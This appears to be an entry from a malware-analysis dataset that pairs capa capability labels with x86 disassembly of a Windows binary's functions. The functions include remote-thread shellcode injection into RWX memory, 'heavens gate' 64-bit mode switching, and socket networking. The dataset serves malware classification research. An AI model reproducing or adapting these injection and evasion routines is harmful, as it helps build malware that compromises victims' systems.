joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4061a5
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x374
push esi
lea eax, [ebp - 0x14]
push eax
call fcn.0041e533
pop ecx
lea eax, [ebp - 0x10]
push eax
call fcn.0041e344
pop ecx
push 0x104
lea eax, [ebp - 0x16c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 1]
call fcn.00422285
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.0042211f
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x10ad
push dword [ebp - 8]
push dword [ebp - 0x18]
call fcn.00421c2f
add esp, 0x10
call fcn.0041e63c
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
call fcn.0041e9a4
mov dword [ebp - 0x24], eax
call fcn.0041e932
mov dword [ebp - 0x28], eax
call fcn.0041e681
mov dword [ebp - 0x2c], eax
call fcn.00401555
mov dword [ebp - 0x30], eax
push ecx
mov esi, esp
lea ecx, [ebp - 0x10]
call fcn.00406f44
push eax
mov ecx, esi
call fcn.00406f64
push ecx
mov esi, esp
lea ecx, [ebp - 0x14]
call fcn.00406f44
push eax
mov ecx, esi
call fcn.00406f64
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push ecx
mov ecx, esp
push 0x426498
call fcn.00406f64
push ecx
push esp
call fcn.0041eaac
pop ecx
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push ecx
push ecx
push esp
call fcn.0041eae4
pop ecx
lea ecx, [ebp - 0x68]
call fcn.00408697
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x68]
call fcn.00408646
mov ecx, dword [ebp + 0xc]
call fcn.0040b4b7
test eax, eax
je 0x406330
push 0x208
push 0
lea eax, [ebp - 0x374]
push eax
call fcn.0040132f
add esp, 0xc
lea eax, [ebp - 0x374]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x42649c
lea eax, [ebp - 0x374]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
lea eax, [ebp - 0x374]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push dword [ebp + 8]
mov ecx, 0x560720
call fcn.00413fd7
lea ecx, [ebp - 0x34]
call fcn.0042453e
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x34]
call fcn.00424524
lea ecx, [ebp - 1]
call fcn.00422116
lea ecx, [ebp - 0x10]
call fcn.00406be2
lea ecx, [ebp - 0x14]
call fcn.00406be2
pop esi
leave
ret

Function at 0x406930
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call fcn.0040132f
add esp, 0xc
push 0x1ff
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 4]
call fcn.00406f64
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
call fcn.00406fbc
lea ecx, [ebp - 4]
call fcn.00406be2
mov eax, dword [ebp + 8]
leave
ret
Function at 0x40a957
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0xffffffff
jne 0x40a970
xor eax, eax
jmp 0x40aa1f
push str.nevergonnagiveyouup
lea ecx, [ebp - 8]
call fcn.00406b58
push eax
lea ecx, [ebp - 0x30]
call fcn.00406651
lea ecx, [ebp - 8]
call fcn.00406b06
push ecx
push ecx
mov ecx, esp
push dword [ebp + 8]
call fcn.004066fc
push ecx
push ecx
mov ecx, esp
lea eax, [ebp - 0x30]
push eax
call fcn.004066fc
lea eax, [ebp - 0x28]
push eax
call fcn.0040ba16
add esp, 0x14
mov ecx, dword [ebp + 8]
call fcn.00401546
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x28]
call fcn.004066ab
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x40aa05
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x28]
call fcn.004066da
lea ecx, [ebp - 0x30]
call fcn.004066da
mov eax, dword [ebp - 0x1c]
jmp 0x40aa1f
mov dword [ebp - 0x20], 1
lea ecx, [ebp - 0x28]
call fcn.004066da
lea ecx, [ebp - 0x30]
call fcn.004066da
mov eax, dword [ebp - 0x20]
leave
ret 4
Function at 0x40ac93
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push edi
mov dword [ebp - 4], ecx
and dword [ebp - 8], 0
and dword [ebp - 0x28], 0
lea eax, [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.00406830
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 4], ecx
and dword [ebp - 0x2c], 0
mov ecx, dword [ebp - 4]
add ecx, 0x1d8
call fcn.0041f33d
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x64]
rep stosd dword es:[edi], eax
and dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 1
mov dword [ebp - 0x58], 6
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x64]
push eax
push 0
lea ecx, [ebp + 8]
call fcn.00406b4a
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40ad1e
and dword [ebp - 0x10], 0
lea ecx, [ebp + 8]
call fcn.00406b06
mov eax, dword [ebp - 0x10]
jmp 0x40ae36
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x18], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0xffffffff
jne 0x40ad56
and dword [ebp - 0x14], 0
lea ecx, [ebp + 8]
call fcn.00406b06
mov eax, dword [ebp - 0x14]
jmp 0x40ae36
mov dword [ebp - 0x38], 0x1770
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 0x61a8
mov dword [ebp - 0x3c], 0x4e20
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x1cc], eax
push 2
pop eax
mov ecx, dword [ebp - 4]
mov word [ecx + 0x1c8], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp - 4]
mov word [ecx + 0x1ca], ax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push str.Ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c], eax
push str.connect
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push 0
push 0x10
mov eax, dword [ebp - 4]
add eax, 0x1c8
push eax
mov eax, dword [ebp - 4]
push dword [eax + 0xc]
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x40ae05
mov eax, dword [ebp - 4]
or dword [eax + 0xc], 0xffffffff
and dword [ebp - 0x20], 0
lea ecx, [ebp + 8]
call fcn.00406b06
mov eax, dword [ebp - 0x20]
jmp 0x40ae36
mov eax, dword [ebp - 4]
mov dword [eax + 8], 1
mov dword [ebp - 0x38], 0x3c
mov ecx, dword [ebp - 4]
add ecx, 0x1d8
call fcn.0041f329
mov dword [ebp - 0x24], 1
lea ecx, [ebp + 8]
call fcn.00406b06
mov eax, dword [ebp - 0x24]
pop edi
leave
ret 8
Function at 0x40ae3b
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
call fcn.0040691e
mov ecx, dword [ebp - 4]
add ecx, 0x10
call fcn.00406692
mov ecx, dword [ebp - 4]
add ecx, 0x30
call fcn.00406692
mov eax, dword [ebp - 4]
add eax, 0x1d8
mov dword [ebp - 8], eax
push 0
mov ecx, dword [ebp - 8]
call fcn.0041f398
mov eax, dword [ebp - 4]
add eax, 0x38
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp - 4]
or dword [eax + 0xc], 0xffffffff
mov eax, dword [ebp - 4]
and dword [eax + 0x18], 0
mov eax, dword [ebp - 4]
and dword [eax + 0x24], 0
mov eax, dword [ebp - 4]
leave
ret

Function at 0x40b556
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
cmp eax, 0x22
jne 0x40b5a9
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
test eax, eax
je 0x40b595
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
cmp eax, 0x22
je 0x40b595
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x40b577
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
cmp eax, 0x22
jne 0x40b5a7
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x40b5bd
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
cmp eax, 0x20
jle 0x40b5bd
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x40b5a9
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
test eax, eax
je 0x40b5db
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
cmp eax, 0x20
jg 0x40b5db
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x40b5bd
and dword [ebp - 0x24], 0
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.0040b640
push 0x42c030
push section..data
call fcn.0040b68d
pop ecx
pop ecx
mov eax, dword [ebp - 0x24]
and eax, 1
je 0x40b610
movzx eax, word [ebp - 0x20]
mov dword [ebp - 8], eax
jmp 0x40b617
mov dword [ebp - 8], 0xa
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0xc], eax
call fcn.0040b663
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40bed9
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x40bf27
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [eax + 4], ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
dec eax
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
je 0x40bf18
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.0040bf7d
pop ecx
pop ecx
jmp 0x40bf50
push 0x10
call fcn.00401000
pop ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
shl eax, 2
push eax
call fcn.00401000
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 4]
mov cx, word [ebp + 0xc]
mov word [eax + 6], cx
mov eax, dword [ebp - 4]
mov cx, word [ebp + 0xc]
mov word [eax + 4], cx
mov eax, dword [ebp - 4]
mov dword [eax + 8], 1
mov eax, dword [ebp - 4]
and dword [eax], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x38]
inc eax
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x38], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40d54a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Reference http user-agent string
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push edi
and dword [ebp - 0x10], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x30], xmm0
cmp dword [ebp - 0x10], 0x64
jge 0x40d695
and dword [ebp - 8], 0
and dword [ebp - 0x28], 0
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x60]
rep stosd dword es:[edi], eax
and dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x54], 6
mov dword [ebp - 0x14], str.microsoft.com
mov dword [ebp - 0x20], 0x50
mov dword [ebp - 0x24], str._r_nGET_http:__microsoft.com__HTTP_1.1_r_nHost:_microsoft.com_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:100.0__Gecko_20100101_Firefox_100.0_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_avif_image_webp___q0.8_r_nAccept_Language:_en_US_en_q0.5_r_nAccept_Encoding:_gzip__deflate_r_nConnection:_keep_alive_r_nUpgrade_Insecure_Requests:_1_r_n
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40d5c5
xor eax, eax
xor edx, edx
jmp 0x40d69b
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x1c], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40d5ec
xor eax, eax
xor edx, edx
jmp 0x40d69b
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x3c], eax
push 2
pop eax
mov word [ebp - 0x40], ax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x3e], ax
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0
push 0
push 0
push 0
push 0x10
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x40d638
or dword [ebp - 4], 0xffffffff
xor eax, eax
xor edx, edx
jmp 0x40d69b
push 0
push 0x16c
push dword [ebp - 0x24]
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
call fcn.00401000
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 0x200
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10], eax
push dword [ebp - 0xc]
call fcn.0040d46a
pop ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
push dword [ebp - 0xc]
call fcn.00401014
pop ecx
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x40d55d
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
pop edi
leave
ret
Function at 0x40d8ca
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0x67452301
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0xefcdab89
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0x98badcfe
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0x10325476
push 4
pop eax
shl eax, 2
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0xc3d2e1f0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp + 8]
and dword [ecx + eax + 0x14], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp + 8]
and dword [ecx + eax + 0x14], 0
pop ebp
ret

Function at 0x4110fa
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
add ecx, 0x10
call fcn.0041f33d
and dword [ebp - 0xc], 0
jmp 0x41111b
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
call fcn.0040164e
cmp dword [ebp - 0xc], eax
jae 0x411230
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.00403875
mov eax, dword [eax + 4]
cmp eax, dword [ebp + 0xc]
jne 0x411152
mov dword [ebp - 0x10], 1
jmp 0x411156
and dword [ebp - 0x10], 0
mov al, byte [ebp - 0x10]
mov byte [ebp - 1], al
lea ecx, [ebp - 0x3c]
call fcn.004014e9
movzx eax, byte [ebp - 1]
test eax, eax
je 0x41122b
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.00403875
push dword [eax + 8]
call fcn.0040b7df
pop ecx
lea ecx, [ebp - 0x48]
call fcn.004014e9
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
push 0
push dword [ebp - 0xc]
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1c]
call fcn.00403875
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x54]
call fcn.004014e9
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
call fcn.004036dc
cmp dword [ebp + 0x10], 0
je 0x41121b
lea ecx, [ebp - 0x30]
call fcn.00406692
mov dword [ebp - 0x24], eax
push 3
push dword [ebp - 0x24]
push 0
push 0
push 0
push 0
push ecx
mov ecx, esp
call fcn.00406f52
push dword [ebp + 0xc]
lea ecx, [ebp - 0x78]
call fcn.00408486
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x78]
call fcn.0040837e
lea ecx, [ebp - 0x30]
call fcn.004066da
mov ecx, dword [ebp - 8]
add ecx, 0x10
call fcn.0041f329
mov eax, dword [ebp - 0x28]
jmp 0x41123d
jmp 0x411114
mov ecx, dword [ebp - 8]
add ecx, 0x10
call fcn.0041f329
xor eax, eax
leave
ret 0xc
Function at 0x4115fb
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [0x42cc8c]
test eax, eax
jne 0x411627
call fcn.00412315
test eax, eax
je 0x41161b
mov byte [ebp - 1], 1
jmp 0x41161f
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
mov byte [0x42cc8c], al
push dword [ebp + 0x10]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x411648
or eax, 0xffffffff
jmp 0x411780
mov dword [ebp - 0x1c], 0x100000
push 0x40
push 0x3000
push dword [ebp - 0x1c]
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x411675
push 0xfffffffffffffffe
pop eax
jmp 0x411780
and dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
push 0x40
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push 0x100
push 0x33370000
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4116b9
push 0xfffffffffffffffe
pop eax
jmp 0x411780
and dword [ebp - 0x24], 0
mov dword [ebp - 0x18], 0x426a78
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov al, byte [eax]
mov byte [ebp - 2], al
inc dword [ebp - 0xc]
cmp byte [ebp - 2], 0
jne 0x4116d1
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x18]
push dword [ebp - 0x20]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x411734
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x10]
mov al, byte [eax]
mov byte [ebp - 3], al
inc dword [ebp - 0x10]
cmp byte [ebp - 3], 0
jne 0x411712
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x3c]
je 0x411739
push 0xfffffffffffffffd
pop eax
jmp 0x411780
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41175f
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp + 0xc]
je 0x411764
push 0xfffffffffffffffd
pop eax
jmp 0x411780
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
push 0
push 0
push 0
push dword [ebp - 0x40]
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
leave
ret

Function at 0x411e90
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
push 0x33
call 0x411ea7
add dword [esp], 5
retf
Function at 0x411ece
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
je 0x411eef
cmp dword [ebp + 0xc], 0
jne 0x411ee9
cmp dword [ebp + 0x10], 0
je 0x411eef
cmp dword [ebp + 0x14], 0
jne 0x411ef3
xor al, al
jmp 0x411f57
mov byte [ebp - 1], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
push 0x33
call 0x411f0a
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411f5c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
cmp dword [ebp + 8], 0
je 0x411f7c
cmp dword [ebp + 0xc], 0
jne 0x411f76
cmp dword [ebp + 0x10], 0
je 0x411f7c
cmp dword [ebp + 0x14], 0
jne 0x411f7e
jmp 0x411fd1
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
push 0x33
call 0x411f91
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411fd6
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
cmp dword [0x42cc94], 0
jne 0x411ff1
xor eax, eax
xor edx, edx
jmp 0x4121ad
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x10], 0
jle 0x41201e
mov eax, dword [ebp + 0x10]
dec eax
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax - 8]
mov eax, dword [eax - 4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jmp 0x412026
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
cmp dword [ebp + 0x10], 0
jle 0x412059
mov eax, dword [ebp + 0x10]
dec eax
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax - 8]
mov eax, dword [eax - 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
jmp 0x412061
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp + 0x10], 0
jle 0x412094
mov eax, dword [ebp + 0x10]
dec eax
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax - 8]
mov eax, dword [eax - 4]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
jmp 0x41209c
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
cmp dword [ebp + 0x10], 0
jle 0x4120cf
mov eax, dword [ebp + 0x10]
dec eax
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax - 8]
mov eax, dword [eax - 4]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], eax
jmp 0x4120d7
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
xorps xmm0, xmm0
movlpd qword [ebp - 0x3c], xmm0
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
sub eax, 8
cdq
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov eax, dword [ebp + 0x10]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 4], ax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 0xc], esp
and esp, 0xfffffff0
push 0x33
call 0x41212e
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret